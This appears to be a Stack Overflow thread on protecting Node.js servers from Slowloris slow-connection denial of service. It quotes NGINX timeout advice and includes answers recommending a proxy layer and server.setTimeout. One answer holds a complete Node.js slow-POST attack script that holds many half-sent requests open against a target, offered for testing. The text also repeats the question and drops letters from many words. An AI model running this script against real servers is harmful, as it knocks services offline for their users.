Update

_ / _.

Update Friday, 13th 2018:

I managed to convince the Node.js core team about setting a CVE for that.

The fix — new defaults and probably new API — will be there in 1 or 2 weeks.

You might know Slowloris:

HTTP Header or POST Data characters get transmitted slowly to block the socket.

Scaled that makes a much easier DoS attack.

In NGINX the mitigation is inbuilt:

Closing Slow Connections

You can close connections that are writing data too infrequently, which can represent an attempt to keep connections open as long as possible (thus reducing the server’s ability to accept new connections). Slowloris is an example of this type of attack. The client_body_timeout directive controls how long NGINX waits between writes of the client body, and the client_header_timeout directive controls how long NGINX waits between writes of client headers. The default for both directives is 60 seconds. This example configures NGINX to wait no more than 5 seconds between writes from the client for either headers or body.

/

Since there is no inbuilt way to work on the header in the HTTP Server in Node.js.

I came to the question, if I can bine net and a HTTP Server for mitigating Slowloris .

http.createServer(function(req, res) {
    var timeout;    
    net.on('data', function(chunk) {
        clearTimeout(timeout);
        timeout = setTimeout(function() {
            req.connection.destroy();
        }, 100);
    };   
};

The problem I can see is, both services have to listen on the same Socket on Port 80 and 443.

Do — not — know how to tackle this.

It is possible to transfer requests and responses from net to HTTP-Server and back.

But this takes 2 sockets for 1 ining message.

And 2 sockets for 1 outgoing message.

So this is — not — feasible in sense of high available server.

I have no clue.

What can the world do to get rid of this scourge?

CVE for Apache Tomcat.

This is a serious security threat.

I think this want to be solved on C or C++ base.

I cannot write these real programmer languages.

But all of us are helped, if somebody pushes this on Github.

Update

_ https://nodejs/pt-br/blog/vulnerability/february-2019-security-releases/ _.

Update Friday, 13th 2018:

I managed to convince the Node.js core team about setting a CVE for that.

The fix — new defaults and probably new API — will be there in 1 or 2 weeks.

You might know Slowloris:

HTTP Header or POST Data characters get transmitted slowly to block the socket.

Scaled that makes a much easier DoS attack.

In NGINX the mitigation is inbuilt:

Closing Slow Connections

You can close connections that are writing data too infrequently, which can represent an attempt to keep connections open as long as possible (thus reducing the server’s ability to accept new connections). Slowloris is an example of this type of attack. The client_body_timeout directive controls how long NGINX waits between writes of the client body, and the client_header_timeout directive controls how long NGINX waits between writes of client headers. The default for both directives is 60 seconds. This example configures NGINX to wait no more than 5 seconds between writes from the client for either headers or body.

https://www.nginx./blog/mitigating-ddos-attacks-with-nginx-and-nginx-plus/

Since there is no inbuilt way to work on the header in the HTTP Server in Node.js.

I came to the question, if I can bine net and a HTTP Server for mitigating Slowloris .

http.createServer(function(req, res) {
    var timeout;    
    net.on('data', function(chunk) {
        clearTimeout(timeout);
        timeout = setTimeout(function() {
            req.connection.destroy();
        }, 100);
    };   
};

The problem I can see is, both services have to listen on the same Socket on Port 80 and 443.

Do — not — know how to tackle this.

It is possible to transfer requests and responses from net to HTTP-Server and back.

But this takes 2 sockets for 1 ining message.

And 2 sockets for 1 outgoing message.

So this is — not — feasible in sense of high available server.

I have no clue.

What can the world do to get rid of this scourge?

CVE for Apache Tomcat.

This is a serious security threat.

I think this want to be solved on C or C++ base.

I cannot write these real programmer languages.

But all of us are helped, if somebody pushes this on Github.

• javascript
• c
• node.js
• security
• ddos

• 1 first, not everybody knows slowloris. second, are you wanting to protect from a ddos attack or create one? im assuming defend? third, have you tried anything yourself? could you add whatever code you have tried? – mast3rd3mon Commented Mar 27, 2018 at 8:44
• I wonder why there is no ready to go solution for this. I only have the idea I wrote. There is an old CVE for this. – deEr. Commented Mar 27, 2018 at 8:47
• 1 my point is, have you tried anything yet or are you wanting someone to do it for you? because this isnt a do-it-for-you service, if you have an issue with any code then you should post it and somebody can help you, else this is off topic as youre asking (in effect) for external resources – mast3rd3mon Commented Mar 27, 2018 at 8:53
• 1 I am trying to help you to write your question correctly, if you dont have a coding issue/error to do with adding slowloris into nodejs, then its off topic as you're asking for external resources which links slowloris with nodejs – mast3rd3mon Commented Mar 27, 2018 at 9:06
• Let us continue this discussion in chat. – mast3rd3mon Commented Mar 27, 2018 at 9:08

3 Answers 3

The best way to mitigate this issue, as well as a number of other issues, is to place a proxy layer such as nginx or a firewall between the node.js application and the internet.

If you're familiar with the paradigms behind many design and programming approached, such as OOP, you will probably recognize the importance behind "separation of concerns".

The same paradigm holds true when designing the infrastructure or the way clients can access data.

The application should have only one concern: handle data operations (CRUD). This inherently includes any concerns that relate to maintaining data integrity (SQL injection threats, script injection threats, etc').

Other concerns should be placed in a separate layer, such as an nginx proxy layer.

For example, nginx will often be concerned with routing traffic to your application / load balancing. This will include security concerns related to network connections, such as SSL/TLS negotiations, slow clients, etc'.

An extra firewall might (read: should) be implemented to handle additional security concerns.

The solution for your issue is simple, do not directly expose the node.js application to the internet, use a proxy layer - it exists for a reason.

I think you're taking a wrong approach for this vulnerability.

This doesn't deal with DDOS attack (Distributed Denial of Service) where many IPs are used, and when you need to continue serving some machines that are inside the same firewall as machines involved in the attack.

Often machines used in DDOS aren't real machines that have been taken over (maybe vitualized or with software to do it from different IPs).

When a DDOS against a large target starts, per-IP throttling may ban all machines from the same fire-walled LAN.

To continue providing service in the face of a DDOS, you really need to block requests based on mon elements of the request itself, not just IP. security.se may be the best forum for specific advice on how to do that.

Unfortunately, DOS attacks, unlike XSRF, don't need to originate from real browsers so any headers that don't contain closely-held and unguessable nonces can be spoofed.

The remendation: To prevent this issue, you had to have a good firewall policies against DDos attacks and massive denial services.

BUT! If you want to do something to test a Denial service with node.js, you can use this code (use only for test purposes, not for a production environment)

var net = require('net');

var maxConnections  = 30;
var connections     = [];

var host    = "127.0.0.1";
var port    = 80;

function Connection(h, p)
{
    this.state  = 'active';
    this.t      = Date.now();

    this.client = net.connect({port:p, host:h}, () => {
        process.stdout.write("Connected, Sending... ");

        this.client.write("POST / HTTP/1.1\r\nHost: "+host+"\r\n" +
            "Content-Type: application/x-www-form-urlenconded\r\n" +
            "Content-Length: 385\r\n\r\nvx=321&d1=fire&l");

        process.stdout.write("Written.\n");
    });
    this.client.on('data', (data) => {
        console.log("\t-Received "+data.length+" bytes...");
        this.client.end();
    });
    this.client.on('end', () => {
        var d = Date.now() - this.t;
        this.state = 'ended';

        console.log("\t-Disconnected (duration: " +
            (d/1000).toFixed(3) +
            " seconds, remaining open: " +
            connections.length +
            ").");
    });
    this.client.on('error', () => {
        this.state = 'error';
    });

    connections.push(this);
}

setInterval(() => {
    var notify = false;

    // Add another connection if we haven't reached
    // our max:
    if(connections.length < maxConnections)
    {
        new Connection(host, port);
        notify = true;
    }

    // Remove dead connections
    connections = connections.filter(function(v) {
        return v.state=='active';
    });

    if(notify)
    {
        console.log("Active connections: " + connections.length +
            " / " + maxConnections);
    }
}, 500);

It is as easy as this.

var http = require('http');

var server = http.createServer(function(req,res) {
    res.send('Now.')
})

server.setTimeout(10);

server.listen(80, '127.0.0.1');

server.setTimeout([msecs][, callback])

By default, the Server's timeout value is 2 minutes, and sockets are destroyed automatically if they time out.

https://nodejs/api/http.html#http_server_settimeout_msecs_callback

Tested with.

var net = require('net');

var client = new net.Socket();
client.connect(80, '127.0.0.1', function() {
    setInterval(function() {   
        client.write('Hello World.');
    },10000)
});

This is only the second to best solution.

Since legit connections are terminated also.